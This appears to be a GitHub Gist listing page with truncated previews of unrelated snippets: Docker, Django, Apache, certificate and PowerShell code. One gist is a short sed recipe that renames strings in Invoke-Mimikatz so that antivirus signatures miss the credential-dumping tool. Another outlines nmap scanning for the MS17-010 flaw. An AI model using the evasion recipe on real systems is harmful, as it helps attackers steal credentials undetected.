Skip to content

Instantly share code, notes, and snippets.

zebde / Dockerfile
Last active Feb 21, 2018
Viper-web-update Dockerfile
View Dockerfile
FROM python:3
LABEL version="0.3"
RUN sed -i "s/jessie main/jessie main contrib non-free/" /etc/apt/sources.list
RUN apt-get update -qq && \
apt-get -y --no-install-recommends install flex bison libjansson-dev libmagic-dev unrar exiftool gcc python-socksipy libssl-dev swig p7zip-full ssdeep libfuzzy-dev tor clamav-daemon -qq && \
apt-get clean && \
rm -rf /var/lib/apt/lists/* /var/tmp/*
PaulSec /
Created Aug 1, 2017
Small script to bypass AV that triggers Invoke-Mimikatz with shitty rules
# AV Bypass to run Mimikatz
# From:
# Server side:
sed -i -e 's/Invoke-Mimikatz/Invoke-Mimidogz/g' Invoke-Mimikatz.ps1
sed -i -e '/<#/,/#>/c\\' Invoke-Mimikatz.ps1
sed -i -e 's/^[[:space:]]*#.*$//g' Invoke-Mimikatz.ps1
sed -i -e 's/DumpCreds/DumpCred/g' Invoke-Mimikatz.ps1
sed -i -e 's/ArgumentPtr/NotTodayPal/g' Invoke-Mimikatz.ps1
Greymalkin / gist:f892e52ec541a7220252ac31b6a2abb0
Last active Apr 12, 2020
Inline Admin aware of Parent Object and affecting Generic Foreign Key Content Type choices
View gist:f892e52ec541a7220252ac31b6a2abb0
# in
from django.contrib.contenttypes.fields import GenericForeignKey
from django.contrib.contenttypes.models import ContentType
from django.db import models
class Screen(models.Model):
# Screen Model: Ties into all shows, drives instance selection when using generic foreign keys
name = models.CharField(max_length=50)
limit = (models.Q(
models.Q(app_label='case_story', model='casestoryshow') |
whereisaaron /
Last active Feb 15, 2022
Extract a crt file (PEM), key file, and chain bundle from a PFX file, prompts for password or use PFXPASSWORD environment variable
# Extract the key, certficiate, and chain in PEM format from a PFX format file
# Must supply the input pfx file
if [ "${PFX_PATH}" == "" ]; then
echo "Must supply pfx file path"
exit 1
Neo23x0 / nmap-cmdline
Last active Mar 19, 2020
Nmap Scan Params for CVE-2017-0143 MS17-010 Scanning
View nmap-cmdline
# Scan for CVE-2017-0143 MS17-010
# The vulnerability used by WannaCry Ransomware
# 1. Use @calderpwn's script
# 2. Save it to Nmap NSE script directory
# Linux - /usr/share/nmap/scripts/ or /usr/local/share/nmap/scripts/
# OSX - /opt/local/share/nmap/scripts/
wido /
Created Dec 21, 2016
Python 3 48-bit MAC to EUI-64 IPv6
#!/usr/bin/env python3
import ipaddress
import re
def mac2eui64(mac, prefix=None):
Convert a MAC address to a EUI64 address
or, with prefix provided, a full IPv6 address
daronco /
Last active Mar 11, 2022
Letsencrypt with webroot on Apache

Config Apache with /etc/apache2/conf-available/le.conf:

Alias /.well-known/acme-challenge/ "/var/www/html/.well-known/acme-challenge/"
<Directory "/var/www/html/">
    AllowOverride None
    Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
    Require method GET POST OPTIONS
lazywinadmin / Timeout.ps1
Created Aug 26, 2015
Timeout in powershell
View Timeout.ps1
#requires -Version 2
$maximumRuntimeSeconds = 3
$process = Start-Process -FilePath powershell.exe -ArgumentList '-Command Start-Sleep -Seconds 4' -PassThru
$process | Wait-Process -Timeout $maximumRuntimeSeconds -ErrorAction Stop
Write-Warning -Message 'Process successfully completed within timeout.'
alexpearce / ssotutorial.apacheconf
Last active Oct 21, 2021
Apache configuration file for a virtual host running Flask behind a uWSGI server, authentication with Shibboleth SSO
View ssotutorial.apacheconf
# Apache server configuration for ssotutorial.
# This sets up a Flask application over SSL with CERN SSO authentication via
# Shibboleth.
# Load the SSL and Shibboleth modules
LoadModule ssl_module modules/
LoadModule mod_shib /usr/lib64/shibboleth/
# Disable TRACE HTTP requests on CERN advice
TraceEnable Off
shymonk /
Last active May 9, 2022
How to customize save in django admin inline form?

Customize Save In Django Admin Inline Form


This is a common case in django ORM.

from django.db import models

class Author(models.Model):